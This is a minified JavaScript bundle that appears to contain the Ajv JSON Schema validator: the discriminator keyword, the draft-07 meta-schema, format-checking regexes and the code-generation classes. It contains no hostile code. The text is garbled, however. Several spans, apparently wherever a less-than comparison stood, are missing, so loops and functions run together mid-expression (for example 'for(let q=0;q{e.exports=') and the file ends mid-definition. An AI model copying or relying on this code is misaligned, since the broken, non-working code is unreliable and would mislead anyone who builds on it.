tagValue: ${u}}`},o={keyword:"discriminator",type:"object",schemaType:"object",error:i,code(c){let{gen:u,data:l,schema:d,parentSchema:f,it:m}=c,{oneOf:g}=f;if(!m.opts.discriminator)throw new Error("discriminator: requires discriminator option");let b=d.propertyName;if(typeof b!="string")throw new Error("discriminator: requires propertyName");if(d.mapping)throw new Error("discriminator: mapping is not supported");if(!g)throw new Error("discriminator: requires oneOf keyword");let p=u.let("valid",!1),h=u.const("tag",(0,e._)`${l}${(0,e.getProperty)(b)}`);u.if((0,e._)`typeof ${h} == "string"`,()=>y(),()=>c.error(!1,{discrError:r.DiscrError.Tag,tag:h,tagName:b})),c.ok(p);function y(){let S=_();u.if(!1);for(let x in S)u.elseIf((0,e._)`${h} === ${x}`),u.assign(p,v(S[x]));u.else(),c.error(!1,{discrError:r.DiscrError.Mapping,tag:h,tagName:b}),u.endIf()}function v(S){let x=u.name("valid"),w=c.subschema({keyword:"oneOf",schemaProp:S},x);return c.mergeEvaluated(w,e.Name),x}function _(){var S;let x={},w=R(f),T=!0;for(let q=0;q{e.exports={$schema:"http://json-schema.org/draft-07/schema#",$id:"http://json-schema.org/draft-07/schema#",title:"Core schema meta-schema",definitions:{schemaArray:{type:"array",minItems:1,items:{$ref:"#"}},nonNegativeInteger:{type:"integer",minimum:0},nonNegativeIntegerDefault0:{allOf:[{$ref:"#/definitions/nonNegativeInteger"},{default:0}]},simpleTypes:{enum:["array","boolean","integer","null","number","object","string"]},stringArray:{type:"array",items:{type:"string"},uniqueItems:!0,default:[]}},type:["object","boolean"],properties:{$id:{type:"string",format:"uri-reference"},$schema:{type:"string",format:"uri"},$ref:{type:"string",format:"uri-reference"},$comment:{type:"string"},title:{type:"string"},description:{type:"string"},default:!0,readOnly:{type:"boolean",default:!1},examples:{type:"array",items:!0},multipleOf:{type:"number",exclusiveMinimum:0},maximum:{type:"number"},exclusiveMaximum:{type:"number"},minimum:{type:"number"},exclusiveMinimum:{type:"number"},maxLength:{$ref:"#/definitions/nonNegativeInteger"},minLength:{$ref:"#/definitions/nonNegativeIntegerDefault0"},pattern:{type:"string",format:"regex"},additionalItems:{$ref:"#"},items:{anyOf:[{$ref:"#"},{$ref:"#/definitions/schemaArray"}],default:!0},maxItems:{$ref:"#/definitions/nonNegativeInteger"},minItems:{$ref:"#/definitions/nonNegativeIntegerDefault0"},uniqueItems:{type:"boolean",default:!1},contains:{$ref:"#"},maxProperties:{$ref:"#/definitions/nonNegativeInteger"},minProperties:{$ref:"#/definitions/nonNegativeIntegerDefault0"},required:{$ref:"#/definitions/stringArray"},additionalProperties:{$ref:"#"},definitions:{type:"object",additionalProperties:{$ref:"#"},default:{}},properties:{type:"object",additionalProperties:{$ref:"#"},default:{}},patternProperties:{type:"object",additionalProperties:{$ref:"#"},propertyNames:{format:"regex"},default:{}},dependencies:{type:"object",additionalProperties:{anyOf:[{$ref:"#"},{$ref:"#/definitions/stringArray"}]}},propertyNames:{$ref:"#"},const:!0,enum:{type:"array",items:!0,minItems:1,uniqueItems:!0},type:{anyOf:[{$ref:"#/definitions/simpleTypes"},{type:"array",items:{$ref:"#/definitions/simpleTypes"},minItems:1,uniqueItems:!0}]},format:{type:"string"},contentMediaType:{type:"string"},contentEncoding:{type:"string"},if:{$ref:"#"},then:{$ref:"#"},else:{$ref:"#"},allOf:{$ref:"#/definitions/schemaArray"},anyOf:{$ref:"#/definitions/schemaArray"},oneOf:{$ref:"#/definitions/schemaArray"},not:{$ref:"#"}},default:!0}}),Fq=ee((t,e)=>{Object.defineProperty(t,"__esModule",{value:!0}),t.MissingRefError=t.ValidationError=t.CodeGen=t.Name=t.nil=t.stringify=t.str=t._=t.KeywordCxt=t.Ajv=void 0;var r=aq(),n=Mq(),a=qq(),s=Lq(),i=["/properties"],o="http://json-schema.org/draft-07/schema";class c extends r.default{_addVocabularies(){super._addVocabularies(),n.default.forEach(g=>this.addVocabulary(g)),this.opts.discriminator&&this.addKeyword(a.default)}_addDefaultMetaSchema(){if(super._addDefaultMetaSchema(),!this.opts.meta)return;let g=this.opts.$data?this.$dataMetaSchema(s,i):s;this.addMetaSchema(g,o,!1),this.refs["http://json-schema.org/schema"]=o}defaultMeta(){return this.opts.defaultMeta=super.defaultMeta()||(this.getSchema(o)?o:void 0)}}t.Ajv=c,e.exports=t=c,e.exports.Ajv=c,Object.defineProperty(t,"__esModule",{value:!0}),t.default=c;var u=al();Object.defineProperty(t,"KeywordCxt",{enumerable:!0,get:function(){return u.KeywordCxt}});var l=Be();Object.defineProperty(t,"_",{enumerable:!0,get:function(){return l._}}),Object.defineProperty(t,"str",{enumerable:!0,get:function(){return l.str}}),Object.defineProperty(t,"stringify",{enumerable:!0,get:function(){return l.stringify}}),Object.defineProperty(t,"nil",{enumerable:!0,get:function(){return l.nil}}),Object.defineProperty(t,"Name",{enumerable:!0,get:function(){return l.Name}}),Object.defineProperty(t,"CodeGen",{enumerable:!0,get:function(){return l.CodeGen}});var d=_m();Object.defineProperty(t,"ValidationError",{enumerable:!0,get:function(){return d.default}});var f=nl();Object.defineProperty(t,"MissingRefError",{enumerable:!0,get:function(){return f.default}})}),zq=ee(t=>{Object.defineProperty(t,"__esModule",{value:!0}),t.formatNames=t.fastFormats=t.fullFormats=void 0;function e(j,q){return{validate:j,compare:q}}t.fullFormats={date:e(s,i),time:e(c(!0),u),"date-time":e(f(!0),m),"iso-time":e(c(),l),"iso-date-time":e(f(),g),duration:/^P(?!$)((\d+Y)?(\d+M)?(\d+D)?(T(?=\d)(\d+H)?(\d+M)?(\d+S)?)?|(\d+W)?)$/,uri:h,"uri-reference":/^(?:[a-z][a-z0-9+\-.]*:)?(?:\/?\/(?:(?:[a-z0-9\-._~!$&'()*+,;=:]|%[0-9a-f]{2})*@)?(?:\[(?:(?:(?:(?:[0-9a-f]{1,4}:){6}|::(?:[0-9a-f]{1,4}:){5}|(?:[0-9a-f]{1,4})?::(?:[0-9a-f]{1,4}:){4}|(?:(?:[0-9a-f]{1,4}:){0,1}[0-9a-f]{1,4})?::(?:[0-9a-f]{1,4}:){3}|(?:(?:[0-9a-f]{1,4}:){0,2}[0-9a-f]{1,4})?::(?:[0-9a-f]{1,4}:){2}|(?:(?:[0-9a-f]{1,4}:){0,3}[0-9a-f]{1,4})?::[0-9a-f]{1,4}:|(?:(?:[0-9a-f]{1,4}:){0,4}[0-9a-f]{1,4})?::)(?:[0-9a-f]{1,4}:[0-9a-f]{1,4}|(?:(?:25[0-5]|2[0-4]\d|[01]?\d\d?)\.){3}(?:25[0-5]|2[0-4]\d|[01]?\d\d?))|(?:(?:[0-9a-f]{1,4}:){0,5}[0-9a-f]{1,4})?::[0-9a-f]{1,4}|(?:(?:[0-9a-f]{1,4}:){0,6}[0-9a-f]{1,4})?::)|[Vv][0-9a-f]+\.[a-z0-9\-._~!$&'()*+,;=:]+)\]|(?:(?:25[0-5]|2[0-4]\d|[01]?\d\d?)\.){3}(?:25[0-5]|2[0-4]\d|[01]?\d\d?)|(?:[a-z0-9\-._~!$&'"()*+,;=]|%[0-9a-f]{2})*)(?::\d*)?(?:\/(?:[a-z0-9\-._~!$&'"()*+,;=:@]|%[0-9a-f]{2})*)*|\/(?:(?:[a-z0-9\-._~!$&'"()*+,;=:@]|%[0-9a-f]{2})+(?:\/(?:[a-z0-9\-._~!$&'"()*+,;=:@]|%[0-9a-f]{2})*)*)?|(?:[a-z0-9\-._~!$&'"()*+,;=:@]|%[0-9a-f]{2})+(?:\/(?:[a-z0-9\-._~!$&'"()*+,;=:@]|%[0-9a-f]{2})*)*)?(?:\?(?:[a-z0-9\-._~!$&'"()*+,;=:@/?]|%[0-9a-f]{2})*)?(?:#(?:[a-z0-9\-._~!$&'"()*+,;=:@/?]|%[0-9a-f]{2})*)?$/i,"uri-template":/^(?:(?:[^\x00-\x20"'<>%\\^`{|}]|%[0-9a-f]{2})|\{[+#./;?&=,!@|]?(?:[a-z0-9_]|%[0-9a-f]{2})+(?::[1-9][0-9]{0,3}|\*)?(?:,(?:[a-z0-9_]|%[0-9a-f]{2})+(?::[1-9][0-9]{0,3}|\*)?)*\})*$/i,url:/^(?:https?|ftp):\/\/(?:\S+(?::\S*)?@)?(?:(?!(?:10|127)(?:\.\d{1,3}){3})(?!(?:169\.254|192\.168)(?:\.\d{1,3}){2})(?!172\.(?:1[6-9]|2\d|3[0-1])(?:\.\d{1,3}){2})(?:[1-9]\d?|1\d\d|2[01]\d|22[0-3])(?:\.(?:1?\d{1,2}|2[0-4]\d|25[0-5])){2}(?:\.(?:[1-9]\d?|1\d\d|2[0-4]\d|25[0-4]))|(?:(?:[a-z0-9\u{00a1}-\u{ffff}]+-)*[a-z0-9\u{00a1}-\u{ffff}]+)(?:\.(?:[a-z0-9\u{00a1}-\u{ffff}]+-)*[a-z0-9\u{00a1}-\u{ffff}]+)*(?:\.(?:[a-z\u{00a1}-\u{ffff}]{2,})))(?::\d{2,5})?(?:\/[^\s]*)?$/iu,email:/^[a-z0-9!#$%&'*+/=?^_`{|}~-]+(?:\.[a-z0-9!#$%&'*+/=?^_`{|}~-]+)*@(?:[a-z0-9](?:[a-z0-9-]*[a-z0-9])?\.)+[a-z0-9](?:[a-z0-9-]*[a-z0-9])?$/i,hostname:/^(?=.{1,253}\.?$)[a-z0-9](?:[a-z0-9-]{0,61}[a-z0-9])?(?:\.[a-z0-9](?:[-0-9a-z]{0,61}[0-9a-z])?)*\.?$/i,ipv4:/^(?:(?:25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)\.){3}(?:25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)$/,ipv6:/^((([0-9a-f]{1,4}:){7}([0-9a-f]{1,4}|:))|(([0-9a-f]{1,4}:){6}(:[0-9a-f]{1,4}|((25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)(\.(25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)){3})|:))|(([0-9a-f]{1,4}:){5}(((:[0-9a-f]{1,4}){1,2})|:((25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)(\.(25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)){3})|:))|(([0-9a-f]{1,4}:){4}(((:[0-9a-f]{1,4}){1,3})|((:[0-9a-f]{1,4})?:((25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)(\.(25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)){3}))|:))|(([0-9a-f]{1,4}:){3}(((:[0-9a-f]{1,4}){1,4})|((:[0-9a-f]{1,4}){0,2}:((25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)(\.(25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)){3}))|:))|(([0-9a-f]{1,4}:){2}(((:[0-9a-f]{1,4}){1,5})|((:[0-9a-f]{1,4}){0,3}:((25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)(\.(25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)){3}))|:))|(([0-9a-f]{1,4}:){1}(((:[0-9a-f]{1,4}){1,6})|((:[0-9a-f]{1,4}){0,4}:((25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)(\.(25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)){3}))|:))|(:(((:[0-9a-f]{1,4}){1,7})|((:[0-9a-f]{1,4}){0,5}:((25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)(\.(25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)){3}))|:)))$/i,regex:A,uuid:/^(?:urn:uuid:)?[0-9a-f]{8}-(?:[0-9a-f]{4}-){3}[0-9a-f]{12}$/i,"json-pointer":/^(?:\/(?:[^~/]|~0|~1)*)*$/,"json-pointer-uri-fragment":/^#(?:\/(?:[a-z0-9_\-.!$&'()*+,;:=@]|%[0-9a-f]{2}|~0|~1)*)*$/i,"relative-json-pointer":/^(?:0|[1-9][0-9]*)(?:#|(?:\/(?:[^~/]|~0|~1)*)*)$/,byte:v,int32:{type:"number",validate:x},int64:{type:"number",validate:w},float:{type:"number",validate:T},double:{type:"number",validate:T},password:!0,binary:!0},t.fastFormats={...t.fullFormats,date:e(/^\d\d\d\d-[0-1]\d-[0-3]\d$/,i),time:e(/^(?:[0-2]\d:[0-5]\d:[0-5]\d|23:59:60)(?:\.\d+)?(?:z|[+-]\d\d(?::?\d\d)?)$/i,u),"date-time":e(/^\d\d\d\d-[0-1]\d-[0-3]\dt(?:[0-2]\d:[0-5]\d:[0-5]\d|23:59:60)(?:\.\d+)?(?:z|[+-]\d\d(?::?\d\d)?)$/i,m),"iso-time":e(/^(?:[0-2]\d:[0-5]\d:[0-5]\d|23:59:60)(?:\.\d+)?(?:z|[+-]\d\d(?::?\d\d)?)?$/i,l),"iso-date-time":e(/^\d\d\d\d-[0-1]\d-[0-3]\d[t\s](?:[0-2]\d:[0-5]\d:[0-5]\d|23:59:60)(?:\.\d+)?(?:z|[+-]\d\d(?::?\d\d)?)?$/i,g),uri:/^(?:[a-z][a-z0-9+\-.]*:)(?:\/?\/)?[^\s]*$/i,"uri-reference":/^(?:(?:[a-z][a-z0-9+\-.]*:)?\/?\/)?(?:[^\\\s#][^\s#]*)?(?:#[^\\\s]*)?$/i,email:/^[a-z0-9.!#$%&'*+/=?^_`{|}~-]+@[a-z0-9](?:[a-z0-9-]{0,61}[a-z0-9])?(?:\.[a-z0-9](?:[a-z0-9-]{0,61}[a-z0-9])?)*$/i},t.formatNames=Object.keys(t.fullFormats);function r(j){return j%4===0&&(j%100!==0||j%400===0)}var n=/^(\d\d\d\d)-(\d\d)-(\d\d)$/,a=[0,31,28,31,30,31,30,31,31,30,31,30,31];function s(j){let q=n.exec(j);if(!q)return!1;let U=+q[1],N=+q[2],G=+q[3];return N>=1&&N<=12&&G>=1&&G<=(N===2&&r(U)?29:a[N])}function i(j,q){if(j&&q)return j>q?1:j23||P>59||j&&!le)return!1;if(G<=23&&te<=59&&ce<60)return!0;let L=te-P*ne,C=G-H*ne-(L<0?1:0);return(C===23||C===-1)&&(L===59||L===-1)&&ce<61}}function u(j,q){if(!(j&&q))return;let U=new Date("2020-01-01T"+j).valueOf(),N=new Date("2020-01-01T"+q).valueOf();if(U&&N)return U-N}function l(j,q){if(!(j&&q))return;let U=o.exec(j),N=o.exec(q);if(U&&N)return j=U[1]+U[2]+U[3],q=N[1]+N[2]+N[3],j>q?1:j=_}function w(j){return Number.isInteger(j)}function T(){return!0}var R=/[^\\]\\Z/;function A(j){if(R.test(j))return!1;try{return new RegExp(j),!0}catch{return!1}}}),Wu=ee(t=>{Object.defineProperty(t,"__esModule",{value:!0}),t.regexpCode=t.getEsmExportName=t.getProperty=t.safeStringify=t.stringify=t.strConcat=t.addCodeArg=t.str=t._=t.nil=t._Code=t.Name=t.IDENTIFIER=t._CodeOrName=void 0;class e{}t._CodeOrName=e,t.IDENTIFIER=/^[a-z$_][a-z$_0-9]*$/i;class r extends e{constructor(y){if(super(),!t.IDENTIFIER.test(y))throw new Error("CodeGen: name must be a valid identifier");this.str=y}toString(){return this.str}emptyStr(){return!1}get names(){return{[this.str]:1}}}t.Name=r;class n extends e{constructor(y){super(),this._items=typeof y=="string"?[y]:y}toString(){return this.str}emptyStr(){if(this._items.length>1)return!1;let y=this._items[0];return y===""||y==='""'}get str(){var y;return(y=this._str)!==null&&y!==void 0?y:this._str=this._items.reduce((v,_)=>`${v}${_}`,"")}get names(){var y;return(y=this._names)!==null&&y!==void 0?y:this._names=this._items.reduce((v,_)=>(_ instanceof r&&(v[_.str]=(v[_.str]||0)+1),v),{})}}t._Code=n,t.nil=new n("");function a(h,...y){let v=[h[0]],_=0;for(;_{Object.defineProperty(t,"__esModule",{value:!0}),t.ValueScope=t.ValueScopeName=t.Scope=t.varKinds=t.UsedValueState=void 0;var e=Wu();class r extends Error{constructor(u){super(`CodeGen: "code" for ${u} not defined`),this.value=u.value}}var n;(function(c){c[c.Started=0]="Started",c[c.Completed=1]="Completed"})(n||(t.UsedValueState=n={})),t.varKinds={const:new e.Name("const"),let:new e.Name("let"),var:new e.Name("var")};class a{constructor({prefixes:u,parent:l}={}){this._names={},this._prefixes=u,this._parent=l}toName(u){return u instanceof e.Name?u:this.name(u)}name(u){return new e.Name(this._newName(u))}_newName(u){let l=this._names[u]||this._nameGroup(u);return`${u}${l.index++}`}_nameGroup(u){var l,d;if(!((d=(l=this._parent)===null||l===void 0?void 0:l._prefixes)===null||d===void 0)&&d.has(u)||this._prefixes&&!this._prefixes.has(u))throw new Error(`CodeGen: prefix "${u}" is not allowed in this scope`);return this._names[u]={prefix:u,index:0}}}t.Scope=a;class s extends e.Name{constructor(u,l){super(l),this.prefix=u}setValue(u,{property:l,itemIndex:d}){this.value=u,this.scopePath=(0,e._)`.${new e.Name(l)}[${d}]`}}t.ValueScopeName=s;var i=(0,e._)`\n`;class o extends a{constructor(u){super(u),this._values={},this._scope=u.scope,this.opts={...u,_n:u.lines?i:e.nil}}get(){return this._scope}name(u){return new s(u,this._newName(u))}value(u,l){var d;if(l.ref===void 0)throw new Error("CodeGen: ref must be passed in value");let f=this.toName(u),{prefix:m}=f,g=(d=l.key)!==null&&d!==void 0?d:l.ref,b=this._values[m];if(b){let y=b.get(g);if(y)return y}else b=this._values[m]=new Map;b.set(g,f);let p=this._scope[m]||(this._scope[m]=[]),h=p.length;return p[h]=l.ref,f.setValue(l,{property:m,itemIndex:h}),f}getValue(u,l){let d=this._values[u];if(d)return d.get(l)}scopeRefs(u,l=this._values){return this._reduceValues(l,d=>{if(d.scopePath===void 0)throw new Error(`CodeGen: name "${d}" has no value`);return(0,e._)`${u}${d.scopePath}`})}scopeCode(u=this._values,l,d){return this._reduceValues(u,f=>{if(f.value===void 0)throw new Error(`CodeGen: name "${f}" has no value`);return f.value.code},l,d)}_reduceValues(u,l,d={},f){let m=e.nil;for(let g in u){let b=u[g];if(!b)continue;let p=d[g]=d[g]||new Map;b.forEach(h=>{if(p.has(h))return;p.set(h,n.Started);let y=l(h);if(y){let v=this.opts.es5?t.varKinds.var:t.varKinds.const;m=(0,e._)`${m}${v} ${h} = ${y};${this.opts._n}`}else if(y=f?.(h))m=(0,e._)`${m}${y}${this.opts._n}`;else throw new r(h);p.set(h,n.Completed)})}return m}}t.ValueScope=o}),Fe=ee(t=>{Object.defineProperty(t,"__esModule",{value:!0}),t.or=t.and=t.not=t.CodeGen=t.operators=t.varKinds=t.ValueScopeName=t.ValueScope=t.Scope=t.Name=t.regexpCode=t.stringify=t.getProperty=t.nil=t.strConcat=t.str=t._=void 0;var e=Wu(),r=a1(),n=Wu();Object.defineProperty(t,"_",{enumerable:!0,get:function(){return n._}}),Object.defineProperty(t,"str",{enumerable:!0,get:function(){return n.str}}),Object.defineProperty(t,"strConcat",{enumerable:!0,get:function(){return n.strConcat}}),Object.defineProperty(t,"nil",{enumerable:!0,get:function(){return n.nil}}),Object.defineProperty(t,"getProperty",{enumerable:!0,get:function(){return n.getProperty}}),Object.defineProperty(t,"stringify",{enumerable:!0,get:function(){return n.stringify}}),Object.defineProperty(t,"regexpCode",{enumerable:!0,get:function(){return n.regexpCode}}),Object.defineProperty(t,"Name",{enumerable:!0,get:function(){return n.Name}});var a=a1();Object.defineProperty(t,"Scope",{enumerable:!0,get:function(){return a.Scope}}),Object.defineProperty(t,"ValueScope",{enumerable:!0,get:function(){return a.ValueScope}}),Object.defineProperty(t,"ValueScopeName",{enumerable:!0,get:function(){return a.ValueScopeName}}),Object.defineProperty(t,"varKinds",{enumerable:!0,get:function(){return a.varKinds}}),t.operators={GT:new e._Code(">"),GTE:new e._Code(">="),LT:new e._Code("<"),LTE:new e._Code("<="),EQ:new e._Code("==="),NEQ:new e._Code("!=="),NOT:new e._Code("!"),OR:new e._Code("||"),AND:new e._Code("&&"),ADD:new e._Code("+")};class s{optimizeNodes(){return this}optimizeNames(E,k){return this}}class i extends s{constructor(E,k,M){super(),this.varKind=E,this.name=k,this.rhs=M}render({es5:E,_n:k}){let M=E?r.varKinds.var:this.varKind,X=this.rhs===void 0?"":` = ${this.rhs}`;return`${M} ${this.name}${X};`+k}optimizeNames(E,k){if(E[this.name.str])return this.rhs&&(this.rhs=N(this.rhs,E,k)),this}get names(){return this.rhs instanceof e._CodeOrName?this.rhs.names:{}}}class o extends s{constructor(E,k,M){super(),this.lhs=E,this.rhs=k,this.sideEffects=M}render({_n:E}){return`${this.lhs} = ${this.rhs};`+E}optimizeNames(E,k){if(!(this.lhs instanceof e.Name&&!E[this.lhs.str]&&!this.sideEffects))return this.rhs=N(this.rhs,E,k),this}get names(){let E=this.lhs instanceof e.Name?{}:{...this.lhs.names};return U(E,this.rhs)}}class c extends o{constructor(E,k,M,X){super(E,M,X),this.op=k}render({_n:E}){return`${this.lhs} ${this.op}= ${this.rhs};`+E}}class u extends s{constructor(E){super(),this.label=E,this.names={}}render({_n:E}){return`${this.label}:`+E}}class l extends s{constructor(E){super(),this.label=E,this.names={}}render({_n:E}){return`break${this.label?` ${this.label}`:""};`+E}}class d extends s{constructor(E){super(),this.error=E}render({_n:E}){return`throw ${this.error};`+E}get names(){return this.error.names}}class f extends s{constructor(E){super(),this.code=E}render({_n:E}){return`${this.code};`+E}optimizeNodes(){return`${this.code}`?this:void 0}optimizeNames(E,k){return this.code=N(this.code,E,k),this}get names(){return this.code instanceof e._CodeOrName?this.code.names:{}}}class m extends s{constructor(E=[]){super(),this.nodes=E}render(E){return this.nodes.reduce((k,M)=>k+M.render(E),"")}optimizeNodes(){let{nodes:E}=this,k=E.length;for(;k--;){let M=E[k].optimizeNodes();Array.isArray(M)?E.splice(k,1,...M):M?E[k]=M:E.splice(k,1)}return E.length>0?this:void 0}optimizeNames(E,k){let{nodes:M}=this,X=M.length;for(;X--;){let Y=M[X];Y.optimizeNames(E,k)||(G(E,Y.names),M.splice(X,1))}return M.length>0?this:void 0}get names(){return this.nodes.reduce((E,k)=>q(E,k.names),{})}}class g extends m{render(E){return"{"+E._n+super.render(E)+"}"+E._n}}class b extends m{}class p extends g{}p.kind="else";class h extends g{constructor(E,k){super(k),this.condition=E}render(E){let k=`if(${this.condition})`+super.render(E);return this.else&&(k+="else "+this.else.render(E)),k}optimizeNodes(){super.optimizeNodes();let E=this.condition;if(E===!0)return this.nodes;let k=this.else;if(k){let M=k.optimizeNodes();k=this.else=Array.isArray(M)?new p(M):M}if(k)return E===!1?k instanceof h?k:k.nodes:this.nodes.length?this:new h(te(E),k instanceof h?[k]:k.nodes);if(!(E===!1||!this.nodes.length))return this}optimizeNames(E,k){var M;if(this.else=(M=this.else)===null||M===void 0?void 0:M.optimizeNames(E,k),!!(super.optimizeNames(E,k)||this.else))return this.condition=N(this.condition,E,k),this}get names(){let E=super.names;return U(E,this.condition),this.else&&q(E,this.else.names),E}}h.kind="if";class y extends g{}y.kind="for";class v extends y{constructor(E){super(),this.iteration=E}render(E){return`for(${this.iteration})`+super.render(E)}optimizeNames(E,k){if(super.optimizeNames(E,k))return this.iteration=N(this.iteration,E,k),this}get names(){return q(super.names,this.iteration.names)}}class _ extends y{constructor(E,k,M,X){super(),this.varKind=E,this.name=k,this.from=M,this.to=X}render(E){let k=E.es5?r.varKinds.var:this.varKind,{name:M,from:X,to:Y}=this;return`for(${k} ${M}=${X}; ${M}<${Y}; ${M}++)`+super.render(E)}get names(){let E=U(super.names,this.from);return U(E,this.to)}}class S extends y{constructor(E,k,M,X){super(),this.loop=E,this.varKind=k,this.name=M,this.iterable=X}render(E){return`for(${this.varKind} ${this.name} ${this.loop} ${this.iterable})`+super.render(E)}optimizeNames(E,k){if(super.optimizeNames(E,k))return this.iterable=N(this.iterable,E,k),this}get names(){return q(super.names,this.iterable.names)}}class x extends g{constructor(E,k,M){super(),this.name=E,this.args=k,this.async=M}render(E){return`${this.async?"async ":""}function ${this.name}(${this.args})`+super.render(E)}}x.kind="func";class w extends m{render(E){return"return "+super.render(E)}}w.kind="return";class T extends g{render(E){let k="try"+super.render(E);return this.catch&&(k+=this.catch.render(E)),this.finally&&(k+=this.finally.render(E)),k}optimizeNodes(){var E,k;return super.optimizeNodes(),(E=this.catch)===null||E===void 0||E.optimizeNodes(),(k=this.finally)===null||k===void 0||k.optimizeNodes(),this}optimizeNames(E,k){var M,X;return super.optimizeNames(E,k),(M=this.catch)===null||M===void 0||M.optimizeNames(E,k),(X=this.finally)===null||X===void 0||X.optimizeNames(E,k),this}get names(){let E=super.names;return this.catch&&q(E,this.catch.names),this.finally&&q(E,this.finally.names),E}}class R extends g{constructor(E){super(),this.error=E}render(E){return`catch(${this.error})`+super.render(E)}}R.kind="catch";class A extends g{render(E){return"finally"+super.render(E)}}A.kind="finally";class j{constructor(E,k={}){this._values={},this._blockStarts=[],this._constants={},this.opts={...k,_n:k.lines?` -`:""},this._extScope=E,this._scope=new r.Scope({parent:E}),this._nodes=[new b]}toString(){return this._root.render(this.opts)}name(E){return this._scope.name(E)}scopeName(E){return this._extScope.name(E)}scopeValue(E,k){let M=this._extScope.value(E,k);return(this._values[M.prefix]||(this._values[M.prefix]=new Set)).add(M),M}getScopeValue(E,k){return this._extScope.getValue(E,k)}scopeRefs(E){return this._extScope.scopeRefs(E,this._values)}scopeCode(){return this._extScope.scopeCode(this._values)}_def(E,k,M,X){let Y=this._scope.toName(k);return M!==void 0&&X&&(this._constants[Y.str]=M),this._leafNode(new i(E,Y,M)),Y}const(E,k,M){return this._def(r.varKinds.const,E,k,M)}let(E,k,M){return this._def(r.varKinds.let,E,k,M)}var(E,k,M){return this._def(r.varKinds.var,E,k,M)}assign(E,k,M){return this._leafNode(new o(E,k,M))}add(E,k){return this._leafNode(new c(E,t.operators.ADD,k))}code(E){return typeof E=="function"?E():E!==e.nil&&this._leafNode(new f(E)),this}object(...E){let k=["{"];for(let[M,X]of E)k.length>1&&k.push(","),k.push(M),(M!==X||this.opts.es5)&&(k.push(":"),(0,e.addCodeArg)(k,X));return k.push("}"),new e._Code(k)}if(E,k,M){if(this._blockNode(new h(E)),k&&M)this.code(k).else().code(M).endIf();else if(k)this.code(k).endIf();else if(M)throw new Error('CodeGen: "else" body without "then" body');return this}elseIf(E){return this._elseNode(new h(E))}else(){return this._elseNode(new p)}endIf(){return this._endBlockNode(h,p)}_for(E,k){return this._blockNode(E),k&&this.code(k).endFor(),this}for(E,k){return this._for(new v(E),k)}forRange(E,k,M,X,Y=this.opts.es5?r.varKinds.var:r.varKinds.let){let de=this._scope.toName(E);return this._for(new _(Y,de,k,M),()=>X(de))}forOf(E,k,M,X=r.varKinds.const){let Y=this._scope.toName(E);if(this.opts.es5){let de=k instanceof e.Name?k:this.var("_arr",k);return this.forRange("_i",0,(0,e._)`${de}.length`,ie=>{this.var(Y,(0,e._)`${de}[${ie}]`),M(Y)})}return this._for(new S("of",X,Y,k),()=>M(Y))}forIn(E,k,M,X=this.opts.es5?r.varKinds.var:r.varKinds.const){if(this.opts.ownProperties)return this.forOf(E,(0,e._)`Object.keys(${k})`,M);let Y=this._scope.toName(E);return this._for(new S("in",X,Y,k),()=>M(Y))}endFor(){return this._endBlockNode(y)}label(E){return this._leafNode(new u(E))}break(E){return this._leafNode(new l(E))}return(E){let k=new w;if(this._blockNode(k),this.code(E),k.nodes.length!==1)throw new Error('CodeGen: "return" should have one node');return this._endBlockNode(w)}try(E,k,M){if(!k&&!M)throw new Error('CodeGen: "try" without "catch" and "finally"');let X=new T;if(this._blockNode(X),this.code(E),k){let Y=this.name("e");this._currNode=X.catch=new R(Y),k(Y)}return M&&(this._currNode=X.finally=new A,this.code(M)),this._endBlockNode(R,A)}throw(E){return this._leafNode(new d(E))}block(E,k){return this._blockStarts.push(this._nodes.length),E&&this.code(E).endBlock(k),this}endBlock(E){let k=this._blockStarts.pop();if(k===void 0)throw new Error("CodeGen: not in self-balancing block");let M=this._nodes.length-k;if(M<0||E!==void 0&&M!==E)throw new Error(`CodeGen: wrong number of nodes: ${M} vs ${E} expected`);return this._nodes.length=k,this}func(E,k=e.nil,M,X){return this._blockNode(new x(E,k,M)),X&&this.code(X).endFunc(),this}endFunc(){return this._endBlockNode(x)}optimize(E=1){for(;E-- >0;)this._root.optimizeNodes(),this._root.optimizeNames(this._root.names,this._constants)}_leafNode(E){return this._currNode.nodes.push(E),this}_blockNode(E){this._currNode.nodes.push(E),this._nodes.push(E)}_endBlockNode(E,k){let M=this._currNode;if(M instanceof E||k&&M instanceof k)return this._nodes.pop(),this;throw new Error(`CodeGen: not in block "${k?`${E.kind}/${k.kind}`:E.kind}"`)}_elseNode(E){let k=this._currNode;if(!(k instanceof h))throw new Error('CodeGen: "else" without "if"');return this._currNode=k.else=E,this}get _root(){return this._nodes[0]}get _currNode(){let E=this._nodes;return E[E.length-1]}set _currNode(E){let k=this._nodes;k[k.length-1]=E}}t.CodeGen=j;function q(C,E){for(let k in E)C[k]=(C[k]||0)+(E[k]||0);return C}function U(C,E){return E instanceof e._CodeOrName?q(C,E.names):C}function N(C,E,k){if(C instanceof e.Name)return M(C);if(!X(C))return C;return new e._Code(C._items.reduce((Y,de)=>(de instanceof e.Name&&(de=M(de)),de instanceof e._Code?Y.push(...de._items):Y.push(de),Y),[]));function M(Y){let de=k[Y.str];return de===void 0||E[Y.str]!==1?Y:(delete E[Y.str],de)}function X(Y){return Y instanceof e._Code&&Y._items.some(de=>de instanceof e.Name&&E[de.str]===1&&k[de.str]!==void 0)}}function G(C,E){for(let k in E)C[k]=(C[k]||0)-(E[k]||0)}function te(C){return typeof C=="boolean"||typeof C=="number"||C===null?!C:(0,e._)`!${L(C)}`}t.not=te;var ce=P(t.operators.AND);function le(...C){return C.reduce(ce)}t.and=le;var ne=P(t.operators.OR);function H(...C){return C.reduce(ne)}t.or=H;function 